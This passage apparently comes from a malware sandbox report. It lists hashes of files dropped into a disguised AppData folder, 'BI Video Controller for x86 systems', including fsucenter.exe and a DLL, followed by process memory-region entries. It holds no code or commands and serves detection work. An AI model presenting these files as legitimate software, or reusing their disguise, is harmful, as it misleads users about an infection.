                                              e19af0dcf1aa8253523a1eba1c69f5f26cc63730ef630c60c4ce46d368b037753110426c7e3db333041046dbb04ccffec2bfd48529e1cdaab6547e331df02fc9

                                            • \Users\Admin\AppData\Roaming\BI Video Controller for x86 systems\fsucenter.exe
                                              MD5

                                              cf8114289d40ec83b53463b1ac8930c9

                                              SHA1

                                              00036a509bc31c4264a0414d3386f420854ca047

                                              SHA256

                                              39b7e686bb324ecf81adc0b6a165830cd4d3f7d8a2bbba310930fa023f95bb12

                                              SHA512

                                              e19af0dcf1aa8253523a1eba1c69f5f26cc63730ef630c60c4ce46d368b037753110426c7e3db333041046dbb04ccffec2bfd48529e1cdaab6547e331df02fc9

                                            • \Users\Admin\AppData\Roaming\BI Video Controller for x86 systems\libfreetype-4.dll
                                              MD5

                                              96f1c8a9c83fbf6411f35d3de8fdc77c

                                              SHA1

                                              41b590133df449c8e0ce247aab7def7cfc39399d

                                              SHA256

                                              ae8db0fc9690c6047bd1d1aeb7cd254060c0623700bb184ce3f1b3d1daffc39e

                                              SHA512

                                              fa214f15b7c77eca2760aa2489debc5d7244f5535a7b725b49ae7f9ba6f5341a04ee2ccabe15f1e70a542582ed64758d1b4e2d61faaacf2a56e3ec750df76baa

                                            • memory/320-78-0x0000000000000000-mapping.dmp
                                            • memory/436-102-0x0000000000400000-0x0000000002C84000-memory.dmp
                                              Filesize

                                              40.5MB

                                            • memory/436-101-0x0000000000230000-0x000000000026B000-memory.dmp
                                              Filesize

                                              236KB

                                            • memory/436-84-0x0000000000000000-mapping.dmp
                                            • memory/728-166-0x0000000000080000-0x0000000000089000-memory.dmp
                                              Filesize

                                              36KB

                                            • memory/728-64-0x0000000000000000-mapping.dmp
                                            • memory/728-162-0x0000000000000000-mapping.dmp
                                            • memory/728-165-0x0000000000090000-0x0000000000095000-memory.dmp
                                              Filesize

                                              20KB

                                            • memory/788-152-0x0000000000060000-0x000000000006C000-memory.dmp
                                              Filesize

                                              48KB

                                            • memory/788-149-0x0000000000000000-mapping.dmp
                                            • memory/788-151-0x0000000000070000-0x0000000000077000-memory.dmp
                                              Filesize

                                              28KB

                                            • memory/840-59-0x0000000000400000-0x0000000000409000-memory.dmp
                                              Filesize

                                              36KB

                                            • memory/840-60-0x0000000000402E1A-mapping.dmp
                                            • memory/840-61-0x00000000752F1000-0x00000000752F3000-memory.dmp
                                              Filesize

                                              8KB

                                            • memory/924-106-0x0000000000400000-0x0000000002C84000-memory.dmp
                                              Filesize

                                              40.5MB

                                            • memory/924-94-0x0000000000000000-mapping.dmp
                                            • memory/932-185-0x00000000000D0000-0x00000000000D5000-memory.dmp
                                              Filesize

                                              20KB

                                            • memory/932-186-0x00000000000C0000-0x00000000000C9000-memory.dmp
                                              Filesize

                                              36KB

                                            • memory/932-180-0x0000000000000000-mapping.dmp
                                            • memory/952-158-0x0000000000000000-mapping.dmp
                                            • memory/952-161-0x0000000000060000-0x000000000006F000-memory.dmp
                                              Filesize

                                              60KB

                                            • memory/952-160-0x0000000000070000-0x0000000000079000-memory.dmp
                                              Filesize

                                              36KB

                                            • memory/960-203-0x0000000000820000-0x0000000000841000-memory.dmp
                                              Filesize

                                              132KB

                                            • memory/960-118-0x0000000001060000-0x0000000001061000-memory.dmp
                                              Filesize

                                              4KB

                                            • memory/960-115-0x0000000000000000-mapping.dmp
                                            • memory/960-123-0x0000000004A80000-0x0000000004A81000-memory.dmp
                                              Filesize

                                              4KB

                                            • memory/1084-62-0x00000000003A0000-0x00000000003AA000-memory.dmp
                                              Filesize

                                              40KB

                                            • memory/1160-178-0x00000000000F0000-0x00000000000F5000-memory.dmp
                                              Filesize

                                              20KB

                                            • memory/1160-179-0x00000000000E0000-0x00000000000E9000-memory.dmp
                                              Filesize

                                              36KB

                                            • memory/1160-175-0x0000000000000000-mapping.dmp
                                            • memory/1176-74-0x0000000000000000-mapping.dmp
                                            • memory/1176-83-0x0000000000240000-0x0000000000241000-memory.dmp
                                              Filesize

                                              4KB

                                            • memory/1192-140-0x0000000000000000-mapping.dmp
                                            • memory/1192-146-0x0000000000310000-0x00000000003A1000-memory.dmp
                                              Filesize

                                              580KB

                                            • memory/1208-96-0x0000000000000000-mapping.dmp
                                            • memory/1208-105-0x0000000000240000-0x0000000000241000-memory.dmp
                                              Filesize

                                              4KB

                                            • memory/1208-104-0x00000000746C1000-0x00000000746C3000-memory.dmp
                                              Filesize

                                              8KB

                                            • memory/1220-215-0x0000000000400000-0x0000000000495000-memory.dmp
                                              Filesize

                                              596KB

                                            • memory/1220-208-0x000000000044003F-mapping.dmp
                                            • memory/1220-207-0x0000000000400000-0x0000000000495000-memory.dmp
                                              Filesize

                                              596KB

                                            • memory/1288-63-0x0000000002CA0000-0x0000000002CB6000-memory.dmp
                                              Filesize

                                              88KB

                                            • memory/1436-125-0x0000000000000000-mapping.dmp
                                            • memory/1436-131-0x0000000001230000-0x0000000001231000-memory.dmp
                                              Filesize

                                              4KB

                                            • memory/1436-133-0x0000000004D60000-0x0000000004D61000-memory.dmp
                                              Filesize

                                              4KB

                                            • memory/1480-68-0x0000000000000000-mapping.dmp
                                            • memory/1480-77-0x0000000000400000-0x00000000004D8000-memory.dmp
                                              Filesize

                                              864KB

                                            • memory/1516-170-0x0000000000000000-mapping.dmp
                                            • memory/1516-174-0x0000000000080000-0x0000000000089000-memory.dmp
                                              Filesize

                                              36KB

                                            • memory/1516-173-0x0000000000090000-0x0000000000094000-memory.dmp
                                              Filesize

                                              16KB

                                            • memory/1540-137-0x0000000004450000-0x00000000044E3000-memory.dmp
                                              Filesize

                                              588KB

                                            • memory/1540-138-0x0000000000400000-0x0000000002CB1000-memory.dmp
                                              Filesize

                                              40.7MB

                                            • memory/1540-134-0x0000000000000000-mapping.dmp
                                            • memory/1552-214-0x0000000000000000-mapping.dmp
                                            • memory/1552-220-0x0000000000D60000-0x0000000000D61000-memory.dmp
                                              Filesize

                                              4KB

                                            • memory/1552-224-0x0000000004A02000-0x0000000004A03000-memory.dmp
                                              Filesize

                                              4KB

                                            • memory/1552-223-0x0000000004A00000-0x0000000004A01000-memory.dmp
                                              Filesize

                                              4KB

                                            • memory/1552-225-0x00000000049D0000-0x00000000049D1000-memory.dmp
                                              Filesize

                                              4KB

                                            • memory/1552-222-0x0000000002690000-0x0000000002691000-memory.dmp
                                              Filesize

                                              4KB

                                            • memory/1552-221-0x0000000004A40000-0x0000000004A41000-memory.dmp
                                              Filesize

                                              4KB

                                            • memory/1592-110-0x0000000000000000-mapping.dmp
                                            • memory/1616-144-0x000000006D671000-0x000000006D673000-memory.dmp
                                              Filesize

                                              8KB

                                            • memory/1616-148-0x0000000000310000-0x000000000037B000-memory.dmp
                                              Filesize

                                              428KB

                                            • memory/1616-147-0x00000000003D0000-0x0000000000444000-memory.dmp
                                              Filesize

                                              464KB

                                            • memory/1616-142-0x0000000000000000-mapping.dmp
                                            • memory/1648-82-0x0000000000000000-mapping.dmp
                                            • memory/1648-100-0x0000000000400000-0x00000000004D8000-memory.dmp
                                              Filesize

                                              864KB

                                            • memory/1692-168-0x0000000000070000-0x0000000000076000-memory.dmp
                                              Filesize

                                              24KB

                                            • memory/1692-167-0x0000000000000000-mapping.dmp
                                            • memory/1692-169-0x0000000000060000-0x000000000006C000-memory.dmp
                                              Filesize

                                              48KB

                                            • memory/1816-127-0x00000000049D0000-0x00000000049D1000-memory.dmp
                                              Filesize

                                              4KB

                                            • memory/1816-191-0x000000007EF30000-0x000000007EF31000-memory.dmp
                                              Filesize

                                              4KB

                                            • memory/1816-139-0x0000000002650000-0x0000000002651000-memory.dmp
                                              Filesize

                                              4KB

                                            • memory/1816-129-0x0000000001DC0000-0x0000000002A0A000-memory.dmp
                                              Filesize

                                              12.3MB

                                            • memory/1816-196-0x00000000061A0000-0x00000000061A1000-memory.dmp
                                              Filesize

                                              4KB

                                            • memory/1816-195-0x0000000006150000-0x0000000006151000-memory.dmp
                                              Filesize

                                              4KB

                                            • memory/1816-124-0x00000000023A0000-0x00000000023A1000-memory.dmp
                                              Filesize

                                              4KB

                                            • memory/1816-204-0x0000000006300000-0x0000000006301000-memory.dmp
                                              Filesize

                                              4KB

                                            • memory/1816-189-0x00000000056D0000-0x00000000056D1000-memory.dmp
                                              Filesize

                                              4KB

                                            • memory/1816-121-0x0000000000000000-mapping.dmp
                                            • memory/1816-159-0x0000000005380000-0x0000000005381000-memory.dmp
                                              Filesize

                                              4KB

                                            • memory/2004-155-0x000000006C7C1000-0x000000006C7C3000-memory.dmp
                                              Filesize

                                              8KB

                                            • memory/2004-156-0x00000000000D0000-0x00000000000D7000-memory.dmp
                                              Filesize

                                              28KB

                                            • memory/2004-157-0x0000000000080000-0x000000000008B000-memory.dmp
                                              Filesize

                                              44KB

                                            • memory/2004-153-0x0000000000000000-mapping.dmp